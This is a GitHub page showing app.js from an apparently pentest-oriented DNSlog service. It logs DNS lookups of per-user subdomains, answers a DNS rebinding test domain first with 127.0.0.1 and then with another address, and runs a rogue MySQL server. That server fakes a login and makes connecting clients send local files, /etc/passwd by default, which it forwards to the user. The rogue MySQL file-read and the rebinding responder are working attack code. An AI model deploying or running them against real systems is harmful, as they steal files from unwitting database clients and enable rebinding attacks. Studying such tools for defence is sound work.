-
Notifications
You must be signed in to change notification settings - Fork 5
/
app.js
348 lines (323 loc) · 12.1 KB
/
app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
var named = require('./lib/index');
var server = named.createServer();
var ttl = 300;
var rebind = {};
var app = require('express')();
var httpserver = require('http').Server(app);
var io = require('socket.io')(httpserver);
var gsocket = {};
var net = require("net");
var mysqlfile = {};
var config = require("./config");
var OAuth = require('oauth'), OAuth2 = OAuth.OAuth2;
var https = require('https');
var session = require("express-session");
const Sequelize = require('sequelize');
const sequelize = new Sequelize('sqlite:db/data.db')
var mail = require('./mail');
/*
HTTP Server
*/
var clientID = config.oauth_id;
var clientSecret = config.oauth_secret;
var oauth2 = new OAuth2(clientID,
clientSecret,
'https://github.com/',
'login/oauth/authorize',
'login/oauth/access_token',
null); /** Custom headers */
app.use(session({
secret: Math.random().toString(36),
resave: false,
saveUninitialized: true
//cookie: { secure: true } /*secure https这样的情况才可以访问cookie*/
}))
app.get('/robots.txt',function(req,res){
res.set('Content-Type','text/plain');
res.send("User-agent: *\r\nDisallow: ");
})
app.get('/favicon.ico',function(req,res){
res.sendfile(__dirname + '/favicon.ico');
})
app.get('/', function (req, res) {
res.sendfile(__dirname + '/web/index.html');
});
app.get('/login', function (req, res) {
var randomstate = Math.random().toString(36);
var authURL = oauth2.getAuthorizeUrl({
redirect_uri: config.oauth_redirect_uri,
scope: ['user:email'],
state: randomstate
});
req.session.randomstate = randomstate;
res.redirect(302,authURL);
});
app.get('/logout', function (req, res) {
req.session.token = "";
req.session.username = "";
req.session.email = "";
res.send('ok');
});
app.get('/oauth',function(req,res){
if(req.query.state !== req.session.randomstate){
res.end("csrf");
}
oauth2.getOAuthAccessToken(
req.query.code,
{'redirect_uri': config.oauth_redirect_uri},
function (e, access_token, refresh_token, results){
if (e) {
console.log(e);
res.end(e);
} else if (results.error) {
console.log(results);
res.end(JSON.stringify(results));
}
else {
console.log('Obtained access_token: ', access_token);
//curl -H "Authorization: token OAUTH-TOKEN" https://api.github.com/user
var option={
hostname:'api.github.com',
path:'/user',
headers:{
"Authorization":"token "+access_token,
"User-Agent":"Nodejs https"
}
}
https.get(option,function(httpsres){
var chunks = [];
httpsres.on('data',function(chunk){
chunks.push(chunk);
})
httpsres.on('end',function(){
result = Buffer.concat(chunks).toString();
// res.end(result);
var userinfo = JSON.parse(result);
req.session.username = userinfo['login'];
req.session.avatar_url = userinfo['avatar_url'];
req.session.email = userinfo['email'];
safeQuery('select id from dnslog_user where username= :username',{
username:userinfo['login']
},function(qres){
if(qres.length > 0){
safeQuery('select token from dnslog_user where username= :username',{
username : userinfo['login']
},function(qres){
req.session.token = qres[0]['token'];
res.end("<script>location='/main.html';</script>")
})
}else{
req.session.token = Math.random().toString(36);
safeQuery("insert into dnslog_user (username,email,avatar_url,subdomain,token) values (:username,:email,:avatar_url,:subdomain,:token)",{
username : userinfo['login'],
email : userinfo['email'],
avatar_url : userinfo['avatar_url'],
subdomain : userinfo['login'].toLowerCase() + "." + config.domain,
token : req.session.token
},function(qres){
//insert into table about user's info
})
res.end("<script>location='/main.html';</script>")
}
})
})
})
}
});
})
app.get('/userinfo',function(req,res){
if(typeof(req.session.token) == 'undefined' || req.session.token == ""){
res.send('{}');
}else{
safeQuery('select subdomain from dnslog_user where token= :token',{
token : req.session.token
},function(qres){
var userinfo = {"name":req.session.username,"email":req.session.email,"avatar_url":req.session.avatar_url,"token":req.session.token,"subdomain":qres[0]['subdomain']};
res.send(JSON.stringify(userinfo));
})
}
})
app.get('/main.html',function(req,res){
res.sendfile(__dirname + '/web/main.html');
})
app.get('/getdnslog',function(req,res){
safeQuery('select * from dnslog_log where userid=(select id from dnslog_user where username= :username)',{
username : req.session.username
},function(qres){
res.end(JSON.stringify(qres));
})
})
app.get('/cleardnslog',function(req,res){
safeQuery('delete from dnslog_log where userid=(select id from dnslog_user where username= :username)',{
username : req.session.username
},function(){
res.end();
})
})
io.on('connection', function (socket) {
var randDomain = getRandomDomain(5);
var loginDomain;
socket.emit('randomDomain', { domain: randDomain });
gsocket[randDomain] = socket;
socket.on('mysql',function(data){
if(typeof(randomDomain) !== "undefined"){
mysqlfile[randomDomain.split('.')[0]] = data.filename;
// console.log(mysqlfile[randDomain]);
}
});
socket.on('disconnect',function(){
delete gsocket[randDomain];
delete mysqlfile[randDomain.split('.')[0]];
delete gsocket[loginDomain];
console.log('disconnect:\n'+randDomain);
console.log(loginDomain)
});
socket.on('login',function(data){
safeQuery('select subdomain from dnslog_user where token= :token',{
token : data.token
},function(qres){
delete gsocket[randDomain];
randomDomain = qres[0]['subdomain'];
gsocket[randomDomain] = socket;
loginDomain = qres[0]['subdomain'];
socket.emit('loginstatus',{status:"connect success!"})
})
})
});
httpserver.listen(config.http_port,function(){
console.log('HTTP server started on port '+config.http_port);
});
function getRandomDomain(len){
return Math.random().toString(36).substr(13-len)+'.'+config.domain;
}
server.listen(config.dns_port, '0.0.0.0', function() {
console.log('DNS server started on port '+config.dns_port);
});
/*
DNS Server
*/
server.on('query', function(query) {
var domain = query.name();
console.log('DNS Query: %s', domain)
if(domain == 'rebind.test.com'){
if(typeof(rebind.times) == 'undefined'){
rebind.times = 1;
var record = new named.ARecord('127.0.0.1');
query.addAnswer(domain, record, 0);
query.respond();
}else{
var record = new named.ARecord('8.8.8.8');
query.addAnswer(domain, record, 0);
query.respond();
rebind.times ++;
}
}else{
if(domain.split('.').length > 3 ){
var qdomain = domain.split('.').slice(-4).join('.');
console.log(qdomain);
if(typeof(gsocket[qdomain])!=="undefined"){
gsocket[qdomain].emit('dnslog',{dnslog:domain+" from "+query._client.address});
}
safeQuery('select id from dnslog_user where subdomain= :subdomain',{
subdomain : qdomain
},function(qres){
if(qres.length > 0){
safeQuery('insert into dnslog_log (dnslog,inserttime,ip,userid) values (:dnslog,:inserttime,:ip,:userid)',{
dnslog : domain,
inserttime: currentTime(),
ip : query._client.address,
userid : qres[0]['id']
},function(){
if(typeof(gsocket[qdomain]) == "undefined"){
safeQuery('select email from dnslog_user where subdomain= :subdomain',{
subdomain : qdomain
},function(qres){
if(qres[0]['email'] !== ""){
var mailcontent = "You have a new dnslog: \n" + domain + "\nFrom ip: " + query._client.address
mail.send(qres[0]['email'],"【NEW DNSLOG】" + domain,mailcontent)
}
})
}
})
}
})
}
var record = new named.ARecord('8.8.8.8');
query.addAnswer(domain, record, ttl);
query.respond();
}
});
/*
MYSQL Server
*/
var server = net.createServer(function(socket){
/* 获取地址信息 */
//var address = server.address();
var filename = "/etc/passwd";
var handshake = "\x45\x00\x00\x00\x0a\x35\x2e\x31\x2e\x36\x33\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x30\x2e\x30\x34\x2e\x31\x00\x26\x00\x00\x00\x7a\x42\x7a\x60\x51\x56\x3b\x64\x00\xff\xf7\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x4c\x2f\x44\x47\x77\x43\x2a\x43\x56\x63\x72\x00";
var authsuccess = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00";
var someshit = "\x07\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
/* 发送数据 */
//console.log(socket.remoteAddress);
socket.write(handshake,'binary',function(){
socket.once('data',function(data){
//console.log(data.toString());
//console.log(socket);
socket.write(authsuccess,'binary');
//socket.write(someshit,'binary');
var userinfo = data.toString();
var username = userinfo.slice(36).split("\x00")[0];
if(typeof(mysqlfile[username]) !== "undefined"){
filename = mysqlfile[username];
// console.log(mysqlfile);
}
var wantfile = String.fromCharCode(filename.length+1)+"\x00\x00\x01\xFB"+filename
console.log("username: "+username);
socket.once('data',function(data){
socket.write(wantfile,'binary');
socket.on('data',function(data){
var data = "From IP: "+ socket.remoteAddress.split(":").slice(-1)[0] +"\n"+data.toString();
//console.log(data);
if(data.indexOf("select")>-1){
socket.write(wantfile,'binary');
//console.log("send file read request");
}else{
if(typeof(gsocket[username+'.'+config.domain])!=="undefined"){
gsocket[username+'.'+config.domain].emit('mysql',{dnslog:data});
}
socket.end(null,'binary');
}
});
});
})
})
/* 监听data事件 */
socket.on('error', function (err) {
console.log(err);
});
socket.on('end', function () {
console.log('连接结束');
});
socket.on('close', function () {
console.log('连接关闭');
});
})
/* 获取地址信息 */
server.listen(config.mysql_port,function(){
console.log("mysql server on "+config.mysql_port);
})
/*
public functions
*/
function safeQuery(sql,data,callback){
sequelize.query(sql, {
replacements:data
}).then(function(result){
callback(result[0])
})
}
function currentTime(){
var day = new Date();
day.setDate(day.getDate());
return day;
}